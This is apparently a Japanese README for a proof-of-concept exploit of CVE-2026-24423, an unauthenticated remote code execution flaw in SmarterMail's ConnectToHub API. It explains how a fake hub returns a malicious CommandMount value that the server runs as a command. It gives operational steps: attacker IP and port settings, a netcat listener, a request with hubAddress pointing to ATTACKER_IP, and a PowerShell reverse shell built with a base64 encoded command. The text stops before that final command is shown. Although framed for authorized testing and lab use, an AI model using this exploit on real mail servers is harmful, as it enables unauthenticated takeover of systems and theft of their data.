
SmarterTools SmarterMail (ConnectToHub) における CVE-2026-24423 の未認証 RCE PoC。認可されたセキュリティテスト、CTF、および研究専用。
SmarterTools SmarterMailのConnectToHub機能における未認証のリモートコード実行脆弱性であるCVE-2026-24423に対するPythonベースのエクスプロイトです。
想定用途: 許可されたセキュリティテスト、CTF、Hack The Boxラボ、および管理された研究環境に限られます。
自身が所有するシステム、または明示的にテストを許可されたシステムに対してのみ使用してください。SECURITY.mdを参照してください。
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
**Python 3.6+**が必要です(標準ライブラリのみ)。詳細な手順は以下の使用方法セクションにあります。
CVE-2026-24423は、SmarterTools SmarterMailに影響を与える未認証のリモートコード実行脆弱性です。
この脆弱性はConnectToHub機能に存在します。未認証の攻撃者が悪意のあるhubAddressを指定することで、SmarterMailサーバーが攻撃者が制御するサーバーに対してHTTPリクエストを送信するようになります。
悪意のあるサーバーは、制御されたSystemMount.CommandMount値を含む細工されたsetup-initial-connectionレスポンスを返します。
脆弱なSmarterMailインスタンスは、その後この値をオペレーティングシステムのコマンドとして処理し、SmarterMailサービスのセキュリティコンテキストで任意のコマンド実行を可能にします。
この脆弱性には**CVSS 4.0スコア9.3(Critical)**が割り当てられ、CWE-306: Missing Authentication for Critical Functionとして分類されています。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-24423 |
| ベンダー | SmarterTools |
| 製品 | SmarterMail |
| 脆弱性 | 未認証のリモートコード実行 |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critical |
| CVSS v3.1 | 9.8 Critical |
| 攻撃ベクトル | ネットワーク |
| 認証 | なし |
| ユーザー操作 | なし |
| 複雑さ | 低 |
| 公開日 | 2026年1月23日 |
| 修正ビルド | 9511 |
公式のCVEレコードでは、この問題はConnectToHub APIメソッドを介した未認証のRCEとして説明されています。
SmarterMailのBuild 9511より前のバージョンが影響を受けます。
CVEレコードでは、影響範囲を次のように指定しています。
SmarterMail < 100.0.9511
2026年1月15日にリリースされたBuild 9511にベンダーの修正が含まれています。
< 100.0.9511
>= 100.0.9511
脆弱性を再現する前に、必ずインストールされている正確なビルドを確認してください。
脆弱な機能は、SmarterMailのシステム管理APIを通じて公開されています。
関連する操作は次のとおりです。
/api/v1/settings/sysadmin/connect-to-hub
このエンドポイントはhubAddressパラメータを受け付けます。
概念的には、攻撃者は次のように指定できます。
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMailはその後、指定されたハブアドレスに接続し、次を要求します。
/web/api/node-management/setup-initial-connection
攻撃者が制御するサーバーは、悪意のあるSystemMountオブジェクトを含むJSONを返します。
重要なプロパティは次のとおりです。
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
CommandMount値はその後、脆弱なアプリケーションによってオペレーティングシステムのコマンドとして使用されます。
これにより、攻撃者は次の状態から移行できます。
Unauthenticated HTTP request
から
Remote command execution
へ。
VulnCheckの技術分析は、攻撃者が制御するhubAddressによってSmarterMailが攻撃者のsetup-initial-connectionエンドポイントを要求し、返されたCommandMountが任意のコマンド実行を可能にすることを確認しています。
エクスプロイトは2つのコンポーネントで構成されています。
Pythonサーバーは次をリッスンします。
POST /web/api/node-management/setup-initial-connection
そして、悪意のあるSystemMount.CommandMountを含む細工されたJSONレスポンスを返します。
別のTCPリスナーが、ターゲット上で実行されたコマンドによって開始された接続を受信します。
このエクスプロイトは意図的に2つの別々のポートを使用します。
8081
└── Fake SmarterMail Hub
4455
└── Reverse Shell Listener
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
これらのポートは異なる目的を果たすため、混同しないでください。
エクスプロイトはPython標準ライブラリのモジュールのみを使用します。
http.server
json
base64
外部のPythonパッケージは必要ありません。
以下の変数を編集してください。
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
HTB環境の例では次のようになります。
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOSTは、ターゲットが到達できる攻撃者のIPアドレスです。
Hack The Boxの場合、通常はHTB VPNインターフェースに割り当てられたIPです。
ip addr show tun0
例:
tun0:
inet 10.10.14.50
したがって:
LHOST = "10.10.14.50"
LPORTは、攻撃者がリバース接続を受信するために使用するTCPポートです。
例:
LPORT = 4455
HUB_PORTは、悪意のあるSmarterMailハブが使用するHTTPポートです。
例:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
編集:
nano exploit.py
設定:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
ターミナルを開きます。
nc -lvnp 4455
想定される出力:
Listening on 0.0.0.0 4455
このターミナルは開いたままにしてください。
2つ目のターミナルを開きます。
python3 exploit.py
選択したポートへのバインドに昇格された権限が必要な場合:
sudo python3 exploit.py
想定される出力:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
脆弱なSmarterMailインスタンスに適切なリクエストを送信します。
指定するhubAddressは、悪意のあるHTTPサーバーを指している必要があります。
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
重要な値は次のとおりです。
http://10.10.14.50:8081
リバースシェルのポートをハブポートとして使用しないでください。
| 目的 | IP | ポート |
|---|---|---|
| 攻撃者VPN | 10.10.14.50 | — |
| 偽のSmarterMailハブ | 10.10.14.50 | 8081 |
| リバースシェル | 10.10.14.50 | 4455 |
| HTBターゲット | 10.129.57.86 | — |
結果として得られるフローは次のとおりです。
hubAddress
↓
10.10.14.50:8081
↓
Malicious CommandMount
↓
PowerShell
↓
10.10.14.50:4455
エクスプロイトはPowerShellペイロードを動的に生成します。
PowerShellの-EncodedCommandパラメータは、Base64エンコードの前にコマンドがUTF-16LEでエンコードされていることを期待します。
スクリプトは次を実行します。
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
最終的なコマンドは次のように構成されます。